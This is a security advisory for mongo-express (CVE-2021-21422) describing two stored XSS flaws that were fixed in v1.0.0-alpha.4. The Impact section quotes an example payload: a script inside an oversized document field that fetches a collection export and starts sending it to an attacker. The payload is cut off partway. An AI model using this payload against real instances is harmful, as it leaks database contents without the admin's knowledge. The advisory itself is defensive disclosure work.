Multiple XSS Vulnerabilities

High JafarAkhondali published GHSA-7p8h-86p5-wv3p on Jun 18, 2021

Package

mongo-express

Affected versions	Patched versions
<v1.0.0-alpha.4	v1.0.0-alpha.4

Description

Two kinds of XSS were found:

1. As mentioned in #577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

```
{"someField": "long string here to surpass the limit of document ..... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http
```

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to `v1.0.0-alpha.4`

For more information

If you have any questions or comments about this advisory:

- Open an issue in mongo-express
- Email me at jafar.akhoondali@gmail.com

Severity

High

CVE ID

CVE-2021-21422

Weaknesses

No CWEs

Credits

 JafarAkhondali